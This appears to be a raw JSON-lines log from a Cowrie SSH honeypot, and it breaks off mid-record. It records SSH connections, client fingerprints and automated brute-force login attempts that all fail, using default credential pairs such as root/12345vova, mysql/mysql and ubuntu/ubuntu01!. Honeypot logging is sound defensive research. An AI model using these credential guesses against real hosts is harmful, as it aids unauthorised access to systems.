{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ea111de206","protocol":"ssh","message":"New connection: 91.92.42.227:48488 (10.17.0.5:22) [session: c3ea111de206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:45.664366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:47.453924Z","src_ip":"91.92.42.227","session":"c3ea111de206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:47.460627Z","src_ip":"91.92.42.227","session":"c3ea111de206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37638,"dst_ip":"10.17.0.5","dst_port":22,"session":"2763eca88bec","protocol":"ssh","message":"New connection: 45.156.87.147:37638 (10.17.0.5:22) [session: 2763eca88bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:47.793169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:47.798327Z","src_ip":"45.156.87.147","session":"2763eca88bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:47.880572Z","src_ip":"45.156.87.147","session":"2763eca88bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:48.133567Z","src_ip":"45.156.87.147","session":"2763eca88bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"1234","message":"login attempt [bob/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:48.730584Z","src_ip":"91.92.42.227","session":"86d6a94d8659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:49.284546Z","src_ip":"45.156.87.147","session":"2763eca88bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:51.711048Z","src_ip":"91.92.42.227","session":"86d6a94d8659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48530,"dst_ip":"10.17.0.5","dst_port":22,"session":"284b32c05041","protocol":"ssh","message":"New connection: 91.92.42.227:48530 (10.17.0.5:22) [session: 284b32c05041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:52.053033Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42080,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc70eca359bf","protocol":"ssh","message":"New connection: 45.156.87.147:42080 (10.17.0.5:22) [session: fc70eca359bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:53.813584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:53.820249Z","src_ip":"45.156.87.147","session":"fc70eca359bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:53.991334Z","src_ip":"45.156.87.147","session":"fc70eca359bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:54.246391Z","src_ip":"45.156.87.147","session":"fc70eca359bf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:54.643120Z","src_ip":"91.92.42.227","session":"284b32c05041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:54.647094Z","src_ip":"91.92.42.227","session":"284b32c05041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46780,"dst_ip":"159.203.135.109","dst_port":22,"session":"c696938b1883","protocol":"ssh","message":"New connection: 38.93.206.2:46780 (159.203.135.109:22) [session: c696938b1883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.052800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.057123Z","src_ip":"38.93.206.2","session":"c696938b1883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.107525Z","src_ip":"38.93.206.2","session":"c696938b1883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345vova","message":"login attempt [root/12345vova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.264517Z","src_ip":"38.93.206.2","session":"c696938b1883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.332598Z","src_ip":"45.156.87.147","session":"fc70eca359bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:55.593555Z","src_ip":"91.92.42.227","session":"c3ea111de206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:56.319052Z","src_ip":"38.93.206.2","session":"c696938b1883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40298,"dst_ip":"159.203.135.109","dst_port":22,"session":"66309e449938","protocol":"ssh","message":"New connection: 168.167.228.74:40298 (159.203.135.109:22) [session: 66309e449938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:56.884140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:56.888461Z","src_ip":"168.167.228.74","session":"66309e449938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:57.143995Z","src_ip":"168.167.228.74","session":"66309e449938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:57.910865Z","src_ip":"91.92.42.227","session":"c3ea111de206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu01!","message":"login attempt [ubuntu/ubuntu01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:58.197838Z","src_ip":"168.167.228.74","session":"66309e449938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:59.459537Z","src_ip":"168.167.228.74","session":"66309e449938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49702,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a7a4656122","protocol":"ssh","message":"New connection: 45.156.87.147:49702 (10.17.0.5:22) [session: 29a7a4656122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:59.588421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:59.592596Z","src_ip":"45.156.87.147","session":"29a7a4656122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:59.676523Z","src_ip":"45.156.87.147","session":"29a7a4656122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:59.910946Z","src_ip":"91.92.42.227","session":"284b32c05041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:00.057847Z","src_ip":"45.156.87.147","session":"29a7a4656122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59570,"dst_ip":"10.17.0.5","dst_port":22,"session":"922b94bdada8","protocol":"ssh","message":"New connection: 91.92.42.227:59570 (10.17.0.5:22) [session: 922b94bdada8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:01.043243Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:01.144597Z","src_ip":"45.156.87.147","session":"29a7a4656122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:01.829608Z","src_ip":"91.92.42.227","session":"284b32c05041","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:01.869636Z","src_ip":"91.92.42.227","session":"922b94bdada8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:01.873380Z","src_ip":"91.92.42.227","session":"922b94bdada8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9690,"dst_ip":"10.17.0.5","dst_port":22,"session":"922c33269996","protocol":"ssh","message":"New connection: 87.251.64.176:9690 (10.17.0.5:22) [session: 922c33269996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:04.985957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:04.989460Z","src_ip":"87.251.64.176","session":"922c33269996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-